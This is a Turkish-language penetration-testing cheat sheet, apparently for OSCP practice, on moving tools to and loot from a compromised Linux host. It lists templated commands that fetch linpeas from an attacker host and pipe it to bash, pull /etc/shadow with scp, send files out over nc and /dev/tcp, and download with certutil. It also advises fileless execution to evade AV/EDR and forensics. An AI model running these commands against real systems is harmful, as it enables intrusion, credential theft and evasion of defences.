Linux Dosya Transferi (Enumeration & Tooling Aktarımı)
Hedefe enumeration scriptleri (linpeas) ve exploit araçları taşıma, hedeften loot/dosya çıkarma yöntemleri: python3 -m http.server, wget/curl, nc, scp, base64 kopyala-yapıştır ve /dev/tcp ile dosya çekme. Tümü {{LHOST}} {{LPORT}} {{RHOST}} kullanır.
- Hedefte komut çalıştırma (shell)
- Saldırgan tarafında HTTP/nc sunucusu çalıştırma imkanı
Komutlar
python3 -m http.server {{LPORT}} python -m SimpleHTTPServer {{LPORT}} wget http://{{LHOST}}:{{LPORT}}/linpeas.sh -O /tmp/linpeas.sh curl http://{{LHOST}}:{{LPORT}}/linpeas.sh -o /tmp/linpeas.sh curl http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash wget -qO- http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash nc -lvnp {{LPORT}} > /tmp/loot.tar nc {{LHOST}} {{LPORT}} < /tmp/loot.tar scp /tmp/loot.tar {{USER}}@{{LHOST}}:/tmp/loot.tar scp {{USER}}@{{RHOST}}:/etc/shadow ./shadow base64 -w0 /tmp/loot.tar echo {{URL}} | base64 -d > /tmp/tool cat < /dev/tcp/{{LHOST}}/{{LPORT}} > /tmp/tool nc -lvnp {{LPORT}} < /tmp/tool php -S {{LHOST}}:{{LPORT}} certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/file.exe C:\\Windows\\Temp\\file.exe Temel Akış
Foothold sonrası iki yönlü transfer gerekir: (1) saldırgandan hedefe enumeration/exploit araçları push (linpeas, pspy, kernel exploit), (2) hedeften saldırgana pull/exfil (loot, /etc/shadow, config’ler, anahtarlar). En yaygın kombinasyon: Kali’de python3 -m http.server {{LPORT}}, hedefte wget/curl. Bu işlemler standart araçlar olduğundan OSCP’de safe.
Push: Saldırgandan Hedefe
- Sunucu olarak
python3 -m http.server {{LPORT}}(veya python2SimpleHTTPServer, ya daphp -S). Hedefwget/curlile çeker. - Fileless tercih et:
curl http://{{LHOST}}:{{LPORT}}/linpeas.sh | bashscripti diske yazmadan çalıştırır — AV/EDR ve disk forensics izini azaltır. Yazılabilir dizin bulmak için/tmp,/dev/shm,/var/tmpkullan. - Araç indirmek yasaksa/araç yoksa:
cat < /dev/tcp/{{LHOST}}/{{LPORT}} > /tmp/toolile saf bash; karşıdanc -lvnp {{LPORT}} < dosya.
Pull / Exfil: Hedeften Saldırgana
- netcat: Saldırganda
nc -lvnp {{LPORT}} > loot.tar, hedeftenc {{LHOST}} {{LPORT}} < /tmp/loot.tar. nc sürümüne göre transfer bitince bağlantı kapanmayabilir,Ctrl-Cile sonlandır ve boyutuls -lile doğrula. - scp: SSH kimlik bilgisi/anahtarı varsa en güvenilir ve şifreli yol. Hedeften çekmek için Kali’de
scp {{USER}}@{{RHOST}}:/yol ./. - base64 kopyala-yapıştır: HTTP/nc tamamen bloklandığında, shell üzerinden metin olarak taşı: hedefte
base64 -w0 dosya, çıktıyı kopyala, Kali’deecho '<b64>' | base64 -d > dosya. Büyük dosyalarda kopyalama hata yapabilir;md5sumile bütünlük doğrula.
Bütünlük & Doğrulama
Her transferden sonra iki uçta md5sum/sha1sum karşılaştır. Binary’lerde satır sonu bozulması ve eksik byte yaygın hatadır; özellikle base64 ve kopyala-yapıştır yöntemlerinde kritiktir.
Windows Pivot Notu
Linux hedefte certutil yoktur; komut yalnızca pivot zinciri içinde bir Windows hedefe Linux saldırgan sunucusundan indirme yaparken kullanılır (referans amaçlı eklenmiştir). Linux-Linux transferlerde wget/curl/nc/scp yeterlidir.
Gotchas
- HTTP sunucu portu olarak
{{LPORT}}80/443/8000 gibi yaygın değerler firewall’u geçme olasılığı en yüksek olanlardır. /tmpnoexecile mount edilmişse indirilen binary çalışmaz;/dev/shmdene veyanoexecolmayan yazılabilir dizin ara (mount | grep noexec).- İndirdiğin scripti
chmod +xyapmayı unutma veya doğrudan yorumlayıcıyla çağır (bash linpeas.sh).